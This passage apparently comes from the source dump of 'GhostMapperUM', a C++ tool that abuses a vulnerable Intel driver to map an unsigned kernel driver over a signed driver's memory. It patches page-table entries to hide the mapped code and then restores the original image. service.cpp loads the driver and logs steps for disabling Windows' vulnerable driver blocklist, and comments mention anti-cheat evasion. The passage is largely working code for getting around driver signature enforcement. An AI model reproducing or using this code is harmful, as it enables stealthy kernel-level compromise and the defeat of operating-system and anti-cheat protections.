reinterpret_cast(reinterpret_cast(RawImage) + CurrentSection[i].PointerToRawData), CurrentSection[i].SizeOfRawData); 142 | } 143 | 144 | // apply relocations on local base 145 | RelocateImageByDelta(portable_executable::GetRelocs(LocalBase), GhostDriverBase - NtHeaders->OptionalHeader.ImageBase); 146 | 147 | if (!FixSecurityCookie(LocalBase, GhostDriverBase)) 148 | { 149 | Log(L"[-] Failed to fix cookie" << std::endl); 150 | return false; 151 | } 152 | 153 | // patch and correct imports 154 | if (!ResolveImports(IntelDrvHandle, portable_executable::GetImports(LocalBase))) { 155 | Log(L"[-] Failed to resolve imports" << std::endl); 156 | return false; 157 | } 158 | 159 | uint64_t GhostDriverEnd = ((ULONG_PTR)GhostDriverBase + ImageSize); 160 | 161 | // find kernel base 162 | uint64_t KernelBase = utils::GetKernelModuleAddress("ntoskrnl.exe"); 163 | if (!KernelBase) 164 | { 165 | return false; 166 | } 167 | // search for MiGetPteAddress signature in ntos 168 | uint64_t PteBaseAddress = FindMiGetPteSigAddress(KernelBase); 169 | if (!PteBaseAddress) 170 | { 171 | Log(L"[*] failed to find MiGetPteAddress signature\n"); 172 | return false; 173 | } 174 | Log(L"[*] MiGetPteAddress signature found : 0x" << std::hex << PteBaseAddress << std::endl); 175 | 176 | // mark ghost driver range as rwx 177 | std::vector OriginalPtes; 178 | for (uint64_t CurrentAddress = GhostDriverBase; CurrentAddress < GhostDriverEnd; CurrentAddress += USN_PAGE_SIZE) 179 | { 180 | uint64_t PteAddress = (uint64_t)GetPTEForVA(IntelDrvHandle, CurrentAddress,PteBaseAddress); 181 | 182 | pte PteMemory; 183 | if (!intel_driver::ReadMemory(IntelDrvHandle, PteAddress, &PteMemory, sizeof(pte))) 184 | { 185 | Log(L"[-] failed to read ghost driver pte" << std::endl); 186 | return false; 187 | } 188 | OriginalPtes.push_back(PteMemory); 189 | 190 | PteMemory.nx = false; 191 | PteMemory.rw = true; 192 | if (!intel_driver::WriteMemory(IntelDrvHandle, PteAddress, &PteMemory, sizeof(pte))) 193 | { 194 | Log(L"[-] failed to patch ghost driver pte" << std::endl); 195 | return false; 196 | } 197 | } 198 | Log(L"[*] marked ghost driver pages as rwx" << std::endl); 199 | 200 | // our target driver is ready , write over the ghost driver memory ; 201 | 202 | if (!intel_driver::WriteMemory(IntelDrvHandle, GhostDriverBase, LocalBase, ImageSize)) 203 | { 204 | Log(L"[-] Failed to write local image to remote image" << std::endl); 205 | return false; 206 | } 207 | Log(L"[*] wrote target driver to signed memory" << std::endl); 208 | 209 | // avoid rwx pages by stripping write priv from the pages we need executable 210 | // and strip executable priv from all the others 211 | // it of course means your driver should not have RWX sections (and if it has , well cleaning is optional...) 212 | std::vector ExecutablePtes; 213 | std::vector WriteablePtes; 214 | const PIMAGE_SECTION_HEADER CurrentSectionHeader = IMAGE_FIRST_SECTION(NtHeaders); 215 | bool ExecutableSection = false; 216 | 217 | // figure which pages we need to keep executable 218 | for (auto i = 0; i < NtHeaders->FileHeader.NumberOfSections; ++i) { 219 | if ((CurrentSectionHeader[i].Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA) > 0) 220 | continue; 221 | uint64_t SectionStart = GhostDriverBase + CurrentSectionHeader[i].VirtualAddress; 222 | uint64_t SectionEnd = SectionStart + CurrentSectionHeader[i].SizeOfRawData; 223 | if (CurrentSectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) 224 | ExecutableSection = true; 225 | else 226 | ExecutableSection = false; 227 | 228 | // find all the section's pages and insert them into the appropriate vector 229 | for (uint64_t CurrentSecAddr = SectionStart; CurrentSecAddr < SectionEnd; CurrentSecAddr += USN_PAGE_SIZE) 230 | { 231 | uint64_t PteAddr = (uint64_t)GetPTEForVA(IntelDrvHandle, CurrentSecAddr, PteBaseAddress); 232 | if (ExecutableSection) 233 | ExecutablePtes.push_back(PteAddr); 234 | else 235 | WriteablePtes.push_back(PteAddr); 236 | } 237 | 238 | } 239 | // sort the page table entries accordingly 240 | if (!AvoidRWXPtes(IntelDrvHandle, ExecutablePtes, WriteablePtes)) 241 | { 242 | Log(L"[-] failed clean rwx pages" << std::endl); 243 | return false; 244 | } 245 | Log(L"[*] cleaned rwx page table entries" << std::endl); 246 | 247 | // call the entry point of the target driver 248 | uint64_t TargetDriverEntry = GhostDriverBase + NtHeaders->OptionalHeader.AddressOfEntryPoint; 249 | NTSTATUS status = 0; 250 | if (!intel_driver::CallKernelFunction(IntelDrvHandle, &status, TargetDriverEntry, NULL, NULL)) { 251 | Log(L"[*] failed to call driver entry of target driver" << std::endl); 252 | return false; 253 | } 254 | Log(L"[*] DriverEntry of mapped driver was successfuly executed!" << std::endl); 255 | 256 | // restore original driver image and page table entries 257 | // comment this out or use it differently if you create a thread in your entry 258 | // an example would be using a shared event to sync when your driver finished it's work , only then restore 259 | RestoreOriginalDriver(IntelDrvHandle, GhostDriverBase, GhostDriverEnd, OriginalMemory, ImageSize, std::move(OriginalPtes), PteBaseAddress); 260 | 261 | 262 | return true; 263 | } 264 | 265 | 266 | 267 | -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/mapper.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | bool MapDriver(HANDLE IntelDrvHandle, BYTE* RawImage); 5 | -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/nt.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #pragma comment(lib, "ntdll.lib") 5 | 6 | namespace nt 7 | { 8 | constexpr auto PAGE_SIZE = 0x1000; 9 | constexpr auto STATUS_INFO_LENGTH_MISMATCH = 0xC0000004; 10 | 11 | constexpr auto SystemModuleInformation = 11; 12 | constexpr auto SystemHandleInformation = 16; 13 | constexpr auto SystemExtendedHandleInformation = 64; 14 | 15 | typedef NTSTATUS(*NtLoadDriver)(PUNICODE_STRING DriverServiceName); 16 | typedef NTSTATUS(*NtUnloadDriver)(PUNICODE_STRING DriverServiceName); 17 | typedef NTSTATUS(*RtlAdjustPrivilege)(_In_ ULONG Privilege, _In_ BOOLEAN Enable, _In_ BOOLEAN Client, _Out_ PBOOLEAN WasEnabled); 18 | 19 | typedef struct _SYSTEM_HANDLE 20 | { 21 | PVOID Object; 22 | HANDLE UniqueProcessId; 23 | HANDLE HandleValue; 24 | ULONG GrantedAccess; 25 | USHORT CreatorBackTraceIndex; 26 | USHORT ObjectTypeIndex; 27 | ULONG HandleAttributes; 28 | ULONG Reserved; 29 | } SYSTEM_HANDLE, * PSYSTEM_HANDLE; 30 | 31 | typedef struct _SYSTEM_HANDLE_INFORMATION_EX 32 | { 33 | ULONG_PTR HandleCount; 34 | ULONG_PTR Reserved; 35 | SYSTEM_HANDLE Handles[1]; 36 | } SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX; 37 | 38 | //Thanks to Pvt Comfy for remember to update this https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ne-wdm-_pool_type 39 | typedef enum class _POOL_TYPE { 40 | NonPagedPool, 41 | NonPagedPoolExecute = NonPagedPool, 42 | PagedPool, 43 | NonPagedPoolMustSucceed = NonPagedPool + 2, 44 | DontUseThisType, 45 | NonPagedPoolCacheAligned = NonPagedPool + 4, 46 | PagedPoolCacheAligned, 47 | NonPagedPoolCacheAlignedMustS = NonPagedPool + 6, 48 | MaxPoolType, 49 | NonPagedPoolBase = 0, 50 | NonPagedPoolBaseMustSucceed = NonPagedPoolBase + 2, 51 | NonPagedPoolBaseCacheAligned = NonPagedPoolBase + 4, 52 | NonPagedPoolBaseCacheAlignedMustS = NonPagedPoolBase + 6, 53 | NonPagedPoolSession = 32, 54 | PagedPoolSession = NonPagedPoolSession + 1, 55 | NonPagedPoolMustSucceedSession = PagedPoolSession + 1, 56 | DontUseThisTypeSession = NonPagedPoolMustSucceedSession + 1, 57 | NonPagedPoolCacheAlignedSession = DontUseThisTypeSession + 1, 58 | PagedPoolCacheAlignedSession = NonPagedPoolCacheAlignedSession + 1, 59 | NonPagedPoolCacheAlignedMustSSession = PagedPoolCacheAlignedSession + 1, 60 | NonPagedPoolNx = 512, 61 | NonPagedPoolNxCacheAligned = NonPagedPoolNx + 4, 62 | NonPagedPoolSessionNx = NonPagedPoolNx + 32, 63 | } POOL_TYPE; 64 | 65 | typedef struct _RTL_PROCESS_MODULE_INFORMATION 66 | { 67 | HANDLE Section; 68 | PVOID MappedBase; 69 | PVOID ImageBase; 70 | ULONG ImageSize; 71 | ULONG Flags; 72 | USHORT LoadOrderIndex; 73 | USHORT InitOrderIndex; 74 | USHORT LoadCount; 75 | USHORT OffsetToFileName; 76 | UCHAR FullPathName[256]; 77 | } RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION; 78 | 79 | typedef struct _RTL_PROCESS_MODULES 80 | { 81 | ULONG NumberOfModules; 82 | RTL_PROCESS_MODULE_INFORMATION Modules[1]; 83 | } RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES; 84 | 85 | /*added by psec*/ 86 | typedef enum _MEMORY_CACHING_TYPE_ORIG { 87 | MmFrameBufferCached = 2 88 | } MEMORY_CACHING_TYPE_ORIG; 89 | 90 | typedef enum _MEMORY_CACHING_TYPE { 91 | MmNonCached = FALSE, 92 | MmCached = TRUE, 93 | MmWriteCombined = MmFrameBufferCached, 94 | MmHardwareCoherentCached, 95 | MmNonCachedUnordered, // IA64 96 | MmUSWCCached, 97 | MmMaximumCacheType, 98 | MmNotMapped = -1 99 | } MEMORY_CACHING_TYPE; 100 | 101 | typedef CCHAR KPROCESSOR_MODE; 102 | 103 | typedef enum _MODE { 104 | KernelMode, 105 | UserMode, 106 | MaximumMode 107 | } MODE; 108 | 109 | 110 | 111 | typedef enum _MM_PAGE_PRIORITY { 112 | LowPagePriority, 113 | NormalPagePriority = 16, 114 | HighPagePriority = 32 115 | } MM_PAGE_PRIORITY; 116 | /**/ 117 | } -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/portable_executable.cpp: -------------------------------------------------------------------------------- 1 | #include "portable_executable.hpp" 2 | 3 | PIMAGE_NT_HEADERS64 portable_executable::GetNtHeaders(void* image_base) { 4 | const auto dos_header = reinterpret_cast(image_base); 5 | 6 | if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) 7 | return nullptr; 8 | 9 | const auto nt_headers = reinterpret_cast(reinterpret_cast(image_base) + dos_header->e_lfanew); 10 | 11 | if (nt_headers->Signature != IMAGE_NT_SIGNATURE) 12 | return nullptr; 13 | 14 | return nt_headers; 15 | } 16 | 17 | portable_executable::vec_relocs portable_executable::GetRelocs(void* image_base) { 18 | const PIMAGE_NT_HEADERS64 nt_headers = GetNtHeaders(image_base); 19 | 20 | if (!nt_headers) 21 | return {}; 22 | 23 | vec_relocs relocs; 24 | DWORD reloc_va = nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress; 25 | 26 | if (!reloc_va) //Fix from @greetmark of UnknownCheats Forum 27 | return {}; 28 | 29 | auto current_base_relocation = reinterpret_cast(reinterpret_cast(image_base) + reloc_va); 30 | const auto reloc_end = reinterpret_cast(reinterpret_cast(current_base_relocation) + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size); 31 | 32 | while (current_base_relocation < reloc_end && current_base_relocation->SizeOfBlock) { 33 | RelocInfo reloc_info; 34 | 35 | reloc_info.address = reinterpret_cast(image_base) + current_base_relocation->VirtualAddress; 36 | reloc_info.item = reinterpret_cast(reinterpret_cast(current_base_relocation) + sizeof(IMAGE_BASE_RELOCATION)); 37 | reloc_info.count = (current_base_relocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(uint16_t); 38 | 39 | relocs.push_back(reloc_info); 40 | 41 | current_base_relocation = reinterpret_cast(reinterpret_cast(current_base_relocation) + current_base_relocation->SizeOfBlock); 42 | } 43 | 44 | return relocs; 45 | } 46 | 47 | portable_executable::vec_imports portable_executable::GetImports(void* image_base) { 48 | const PIMAGE_NT_HEADERS64 nt_headers = GetNtHeaders(image_base); 49 | 50 | if (!nt_headers) 51 | return {}; 52 | 53 | DWORD import_va = nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; 54 | 55 | //not imports necesary 56 | if (!import_va) 57 | return {}; 58 | 59 | vec_imports imports; 60 | 61 | auto current_import_descriptor = reinterpret_cast(reinterpret_cast(image_base) + import_va); 62 | 63 | while (current_import_descriptor->FirstThunk) { 64 | ImportInfo import_info; 65 | 66 | import_info.module_name = std::string(reinterpret_cast(reinterpret_cast(image_base) + current_import_descriptor->Name)); 67 | 68 | auto current_first_thunk = reinterpret_cast(reinterpret_cast(image_base) + current_import_descriptor->FirstThunk); 69 | auto current_originalFirstThunk = reinterpret_cast(reinterpret_cast(image_base) + current_import_descriptor->OriginalFirstThunk); 70 | 71 | while (current_originalFirstThunk->u1.Function) { 72 | ImportFunctionInfo import_function_data; 73 | 74 | auto thunk_data = reinterpret_cast(reinterpret_cast(image_base) + current_originalFirstThunk->u1.AddressOfData); 75 | 76 | import_function_data.name = thunk_data->Name; 77 | import_function_data.address = ¤t_first_thunk->u1.Function; 78 | 79 | import_info.function_datas.push_back(import_function_data); 80 | 81 | ++current_originalFirstThunk; 82 | ++current_first_thunk; 83 | } 84 | 85 | imports.push_back(import_info); 86 | ++current_import_descriptor; 87 | } 88 | 89 | return imports; 90 | } -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/portable_executable.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | namespace portable_executable 8 | { 9 | struct RelocInfo 10 | { 11 | uint64_t address; 12 | uint16_t* item; 13 | uint32_t count; 14 | }; 15 | 16 | struct ImportFunctionInfo 17 | { 18 | std::string name; 19 | uint64_t* address; 20 | }; 21 | 22 | struct ImportInfo 23 | { 24 | std::string module_name; 25 | std::vector function_datas; 26 | }; 27 | 28 | using vec_sections = std::vector; 29 | using vec_relocs = std::vector; 30 | using vec_imports = std::vector; 31 | 32 | PIMAGE_NT_HEADERS64 GetNtHeaders(void* image_base); 33 | vec_relocs GetRelocs(void* image_base); 34 | vec_imports GetImports(void* image_base); 35 | } -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/pte.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "intel_driver.hpp" 4 | #include "utils.hpp" 5 | #include "pte.h" 6 | 7 | uint64_t FindMiGetPteSigAddress(uint64_t KernelBase) 8 | { 9 | int Matches = 0; 10 | 11 | unsigned char MiGetPteAddressSig[] = 12 | { 13 | 0x48, 0xC1, 0xE9, 0x09, 0x48, 0xB8, 0xF8, 0xFF, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x48, 0x23, 0xC8, 0x48, 0xB8 14 | }; 15 | 16 | // map ntos to usermode 17 | HMODULE uNt = LoadLibraryEx(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES); 18 | DWORD64 uNtAddr = (DWORD64)uNt; 19 | void* ntoskrnl_ptr = (void*)uNt; 20 | 21 | bool Found = false; 22 | 23 | MODULEINFO modinfo; 24 | GetModuleInformation(GetCurrentProcess(), uNt, &modinfo, sizeof(modinfo)); 25 | 26 | 27 | // scan for signature 28 | DWORD64 MiGetPteAddressSigAddressUM = 0x0; 29 | for (unsigned int i = 0; i < modinfo.SizeOfImage; i++) 30 | { 31 | if (Found) 32 | break; 33 | for (int j = 0; j < sizeof(MiGetPteAddressSig); j++) 34 | { 35 | unsigned char chr = *(char*)(uNtAddr + i + j); 36 | if (MiGetPteAddressSig[j] != chr) 37 | { 38 | 39 | break; 40 | } 41 | if (j + 1 == sizeof(MiGetPteAddressSig)) 42 | { 43 | // we want the second match 44 | Matches++; 45 | if (Matches > 1) 46 | { 47 | Found = true; 48 | MiGetPteAddressSigAddressUM = uNtAddr + i + sizeof(MiGetPteAddressSig); 49 | } 50 | } 51 | } 52 | } 53 | 54 | if (!Found) 55 | return NULL; 56 | 57 | uint64_t MiGetPteSigAddressKM = MiGetPteAddressSigAddressUM - uNtAddr + KernelBase; 58 | 59 | 60 | return MiGetPteSigAddressKM; 61 | } 62 | 63 | ULONG_PTR GetPTE(ULONG_PTR pteBase, ULONG_PTR address) { 64 | ULONG_PTR PTEBase = pteBase; 65 | address = address >> 9; 66 | address &= 0x7FFFFFFFF8; 67 | address += (ULONG_PTR)PTEBase; 68 | 69 | return address; 70 | } 71 | 72 | ppte GetPTEForVA(HANDLE IntelDriverHandle,uint64_t Address, uint64_t PteBaseAddress) 73 | { 74 | 75 | 76 | void* PteBase = nullptr; 77 | if (!intel_driver::ReadMemory(IntelDriverHandle, PteBaseAddress, &PteBase, sizeof(void*))) 78 | return nullptr; 79 | 80 | ppte pte = (ppte)GetPTE((ULONG_PTR)PteBase, (ULONG_PTR)Address); 81 | 82 | return pte; 83 | 84 | } 85 | 86 | bool AvoidRWXPtes(HANDLE IntelDrvHandle , const std::vector& ExecutablePtes, const std::vector& WriteablePtes) 87 | { 88 | for (uint64_t ExecPte : ExecutablePtes) 89 | { 90 | pte PteMemory; 91 | if (!intel_driver::ReadMemory(IntelDrvHandle, ExecPte, &PteMemory, sizeof(pte))) 92 | { 93 | Log(L"[-] failed to read ghost driver pte" << std::endl); 94 | return false; 95 | } 96 | PteMemory.rw = false; 97 | if (!intel_driver::WriteMemory(IntelDrvHandle, ExecPte, &PteMemory, sizeof(pte))) 98 | { 99 | Log(L"[-] failed to patch ghost driver pte" << std::endl); 100 | return false; 101 | } 102 | } 103 | for (uint64_t WritePte : WriteablePtes) 104 | { 105 | pte PteMemory; 106 | if (!intel_driver::ReadMemory(IntelDrvHandle, WritePte, &PteMemory, sizeof(pte))) 107 | { 108 | Log(L"[-] failed to read ghost driver pte" << std::endl); 109 | return false; 110 | } 111 | PteMemory.nx = true; 112 | if (!intel_driver::WriteMemory(IntelDrvHandle, WritePte, &PteMemory, sizeof(pte))) 113 | { 114 | Log(L"[-] failed to patch ghost driver pte" << std::endl); 115 | return false; 116 | } 117 | } 118 | return true; 119 | } -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/pte.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include "intel_driver.hpp" 5 | #include "utils.hpp" 6 | 7 | typedef unsigned __int64 QWORD; 8 | 9 | 10 | typedef union _pte { 11 | QWORD value; 12 | struct 13 | { 14 | QWORD present : 1; 15 | QWORD rw : 1; 16 | QWORD user_supervisor : 1; 17 | QWORD page_write_through : 1; 18 | QWORD page_cache : 1; 19 | QWORD accessed : 1; 20 | QWORD dirty : 1; 21 | QWORD access_type : 1; 22 | QWORD global : 1; 23 | QWORD ignore_2 : 3; 24 | QWORD pfn : 36; 25 | QWORD reserved : 4; 26 | QWORD ignore_3 : 7; 27 | QWORD pk : 4; 28 | QWORD nx : 1; 29 | }; 30 | } pte, * ppte; 31 | 32 | 33 | ppte GetPTEForVA(HANDLE IntelDriverHandle, uint64_t Address, uint64_t PteBaseAddress); 34 | uint64_t FindMiGetPteSigAddress(uint64_t KernelBase); 35 | bool AvoidRWXPtes(HANDLE IntelDrvHandle, const std::vector& ExecutablePtes, const std::vector& WriteablePtes); 36 | -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/restore.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "intel_driver.hpp" 4 | #include 5 | #include 6 | 7 | 8 | bool RestoreOriginalDriver(HANDLE IntelDrvHandle ,uint64_t OriginalDriverBase, uint64_t OriginalDriverEnd, void* OriginalDriverMemory,uint64_t PatchSize, const std::vector& OriginalPtes ,uint64_t PteBaseAddress) 9 | { 10 | if (!OriginalDriverBase || !OriginalDriverMemory) 11 | return false; 12 | 13 | // make ghost driver writeable again 14 | for (uint64_t CurrentAddress = OriginalDriverBase; CurrentAddress < OriginalDriverEnd; CurrentAddress += USN_PAGE_SIZE) 15 | { 16 | uint64_t PteAddress = (uint64_t)GetPTEForVA(IntelDrvHandle, CurrentAddress, PteBaseAddress); 17 | 18 | pte PteMemory; 19 | if (!intel_driver::ReadMemory(IntelDrvHandle, PteAddress, &PteMemory, sizeof(pte))) 20 | { 21 | Log(L"[-] failed to read ghost driver pte" << std::endl); 22 | return false; 23 | } 24 | PteMemory.rw = true; 25 | if (!intel_driver::WriteMemory(IntelDrvHandle, PteAddress, &PteMemory, sizeof(pte))) 26 | { 27 | Log(L"[-] failed to patch ghost driver pte" << std::endl); 28 | return false; 29 | } 30 | } 31 | 32 | // copy original driver image 33 | if (!intel_driver::WriteMemory(IntelDrvHandle, OriginalDriverBase, OriginalDriverMemory, PatchSize)) 34 | { 35 | Log(L"[*] failed to restore original driver image" << std::endl); 36 | return false; 37 | } 38 | 39 | // restore original ptes 40 | uint64_t CurrentDriverAddress = OriginalDriverBase; 41 | 42 | for (pte OriginalPte : OriginalPtes) 43 | { 44 | uint64_t PteAddress = (uint64_t)GetPTEForVA(IntelDrvHandle, CurrentDriverAddress, PteBaseAddress); 45 | if (!intel_driver::WriteMemory(IntelDrvHandle, PteAddress, &OriginalPte, sizeof(pte))) 46 | { 47 | Log(L"[-] failed to restore original driver pte" << std::endl); 48 | return false; 49 | } 50 | CurrentDriverAddress += USN_PAGE_SIZE; 51 | } 52 | 53 | Log(L"[*] restored original driver in memory" << std::endl); 54 | 55 | } -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/restore.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | 6 | bool RestoreOriginalDriver(HANDLE IntelDrvHandle, uint64_t OriginalDriverBase, uint64_t OriginalDriverEnd, void* OriginalDriverMemory, uint64_t PatchSize, const std::vector& OriginalPtes, uint64_t PteBaseAddress); 7 | -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/service.cpp: -------------------------------------------------------------------------------- 1 | #include "service.hpp" 2 | 3 | bool service::RegisterAndStart(const std::wstring& driver_path) { 4 | const static DWORD ServiceTypeKernel = 1; 5 | const std::wstring driver_name = intel_driver::GetDriverNameW(); 6 | const std::wstring servicesPath = L"SYSTEM\\CurrentControlSet\\Services\\" + driver_name; 7 | const std::wstring nPath = L"\\??\\" + driver_path; 8 | 9 | HKEY dservice; 10 | LSTATUS status = RegCreateKeyW(HKEY_LOCAL_MACHINE, servicesPath.c_str(), &dservice); //Returns Ok if already exists 11 | if (status != ERROR_SUCCESS) { 12 | Log("[-] Can't create service key" << std::endl); 13 | return false; 14 | } 15 | 16 | status = RegSetKeyValueW(dservice, NULL, L"ImagePath", REG_EXPAND_SZ, nPath.c_str(), (DWORD)(nPath.size() * sizeof(wchar_t))); 17 | if (status != ERROR_SUCCESS) { 18 | RegCloseKey(dservice); 19 | Log("[-] Can't create 'ImagePath' registry value" << std::endl); 20 | return false; 21 | } 22 | 23 | status = RegSetKeyValueW(dservice, NULL, L"Type", REG_DWORD, &ServiceTypeKernel, sizeof(DWORD)); 24 | if (status != ERROR_SUCCESS) { 25 | RegCloseKey(dservice); 26 | Log("[-] Can't create 'Type' registry value" << std::endl); 27 | return false; 28 | } 29 | 30 | RegCloseKey(dservice); 31 | 32 | HMODULE ntdll = GetModuleHandleA("ntdll.dll"); 33 | if (ntdll == NULL) { 34 | return false; 35 | } 36 | 37 | auto RtlAdjustPrivilege = (nt::RtlAdjustPrivilege)GetProcAddress(ntdll, "RtlAdjustPrivilege"); 38 | auto NtLoadDriver = (nt::NtLoadDriver)GetProcAddress(ntdll, "NtLoadDriver"); 39 | 40 | ULONG SE_LOAD_DRIVER_PRIVILEGE = 10UL; 41 | BOOLEAN SeLoadDriverWasEnabled; 42 | NTSTATUS Status = RtlAdjustPrivilege(SE_LOAD_DRIVER_PRIVILEGE, TRUE, FALSE, &SeLoadDriverWasEnabled); 43 | if (!NT_SUCCESS(Status)) { 44 | Log("Fatal error: failed to acquire SE_LOAD_DRIVER_PRIVILEGE. Make sure you are running as administrator." << std::endl); 45 | return false; 46 | } 47 | 48 | std::wstring wdriver_reg_path = L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\" + driver_name; 49 | UNICODE_STRING serviceStr; 50 | RtlInitUnicodeString(&serviceStr, wdriver_reg_path.c_str()); 51 | 52 | Status = NtLoadDriver(&serviceStr); 53 | 54 | 55 | Log("[+] NtLoadDriver Status 0x" << std::hex << Status << std::endl); 56 | 57 | if (Status == 0xC0000603) { //STATUS_IMAGE_CERT_REVOKED 58 | Log("[-] Your vulnerable driver list is enabled and have blocked the driver loading, you must disable vulnerable driver list to use kdmapper with intel driver" << std::endl); 59 | Log("[-] Registry path to disable vulnerable driver list: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\CI\\Config" << std::endl); 60 | Log("[-] Set 'VulnerableDriverBlocklistEnable' as dword to 0" << std::endl); 61 | } 62 | 63 | 64 | //Never should occur since kdmapper checks for "IsRunning" driver before 65 | if (Status == 0xC000010E) {// STATUS_IMAGE_ALREADY_LOADED 66 | return true; 67 | } 68 | 69 | return NT_SUCCESS(Status); 70 | } 71 | 72 | bool service::StopAndRemove(const std::wstring& driver_name) { 73 | HMODULE ntdll = GetModuleHandleA("ntdll.dll"); 74 | if (ntdll == NULL) 75 | return false; 76 | 77 | std::wstring wdriver_reg_path = L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\" + driver_name; 78 | UNICODE_STRING serviceStr; 79 | RtlInitUnicodeString(&serviceStr, wdriver_reg_path.c_str()); 80 | 81 | HKEY driver_service; 82 | std::wstring servicesPath = L"SYSTEM\\CurrentControlSet\\Services\\" + driver_name; 83 | LSTATUS status = RegOpenKeyW(HKEY_LOCAL_MACHINE, servicesPath.c_str(), &driver_service); 84 | if (status != ERROR_SUCCESS) { 85 | if (status == ERROR_FILE_NOT_FOUND) { 86 | return true; 87 | } 88 | return false; 89 | } 90 | RegCloseKey(driver_service); 91 | 92 | auto NtUnloadDriver = (nt::NtUnloadDriver)GetProcAddress(ntdll, "NtUnloadDriver"); 93 | NTSTATUS st = NtUnloadDriver(&serviceStr); 94 | Log("[+] NtUnloadDriver Status 0x" << std::hex << st << std::endl); 95 | if (st != 0x0) { 96 | Log("[-] Driver Unload Failed!!" << std::endl); 97 | status = RegDeleteTreeW(HKEY_LOCAL_MACHINE, servicesPath.c_str()); 98 | return false; //lets consider unload fail as error because can cause problems with anti cheats later 99 | } 100 | 101 | 102 | status = RegDeleteTreeW(HKEY_LOCAL_MACHINE, servicesPath.c_str()); 103 | if (status != ERROR_SUCCESS) { 104 | return false; 105 | } 106 | return true; 107 | } -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/service.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | 5 | #include "intel_driver.hpp" 6 | 7 | namespace service 8 | { 9 | bool RegisterAndStart(const std::wstring& driver_path); 10 | bool StopAndRemove(const std::wstring& driver_name); 11 | }; -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/utils.cpp: -------------------------------------------------------------------------------- 1 | 2 | #include "utils.hpp" 3 | 4 | 5 | 6 | // Credit :: some kdmapper utils : ) 7 | 8 | std::wstring utils::GetFullTempPath() { 9 | wchar_t temp_directory[MAX_PATH + 1] = { 0 }; 10 | const uint32_t get_temp_path_ret = GetTempPathW(sizeof(temp_directory) / 2, temp_directory); 11 | if (!get_temp_path_ret || get_temp_path_ret > MAX_PATH + 1) { 12 | Log(L"[-] Failed to get temp path" << std::endl); 13 | return L""; 14 | } 15 | if (temp_directory[wcslen(temp_directory) - 1] == L'\\') 16 | temp_directory[wcslen(temp_directory) - 1] = 0x0; 17 | 18 | return std::wstring(temp_directory); 19 | } 20 | 21 | bool utils::ReadFileToMemory(const std::wstring& file_path, std::vector* out_buffer) { 22 | std::ifstream file_ifstream(file_path, std::ios::binary); 23 | 24 | if (!file_ifstream) 25 | return false; 26 | 27 | out_buffer->assign((std::istreambuf_iterator(file_ifstream)), std::istreambuf_iterator()); 28 | file_ifstream.close(); 29 | 30 | return true; 31 | } 32 | 33 | 34 | bool utils::CreateFileFromMemory(const std::wstring& desired_file_path, const char* address, size_t size) { 35 | std::ofstream file_ofstream(desired_file_path.c_str(), std::ios_base::out | std::ios_base::binary); 36 | 37 | if (!file_ofstream.write(address, size)) { 38 | file_ofstream.close(); 39 | return false; 40 | } 41 | 42 | file_ofstream.close(); 43 | return true; 44 | } 45 | 46 | uint64_t utils::GetKernelModuleAddress(const std::string& module_name) { 47 | void* buffer = nullptr; 48 | DWORD buffer_size = 0; 49 | 50 | NTSTATUS status = NtQuerySystemInformation(static_cast(nt::SystemModuleInformation), buffer, buffer_size, &buffer_size); 51 | 52 | while (status == nt::STATUS_INFO_LENGTH_MISMATCH) { 53 | if (buffer != nullptr) 54 | VirtualFree(buffer, 0, MEM_RELEASE); 55 | 56 | buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 57 | status = NtQuerySystemInformation(static_cast(nt::SystemModuleInformation), buffer, buffer_size, &buffer_size); 58 | } 59 | 60 | if (!NT_SUCCESS(status)) { 61 | if (buffer != nullptr) 62 | VirtualFree(buffer, 0, MEM_RELEASE); 63 | return 0; 64 | } 65 | 66 | const auto modules = static_cast(buffer); 67 | if (!modules) 68 | return 0; 69 | 70 | for (auto i = 0u; i < modules->NumberOfModules; ++i) { 71 | const std::string current_module_name = std::string(reinterpret_cast(modules->Modules[i].FullPathName) + modules->Modules[i].OffsetToFileName); 72 | 73 | if (!_stricmp(current_module_name.c_str(), 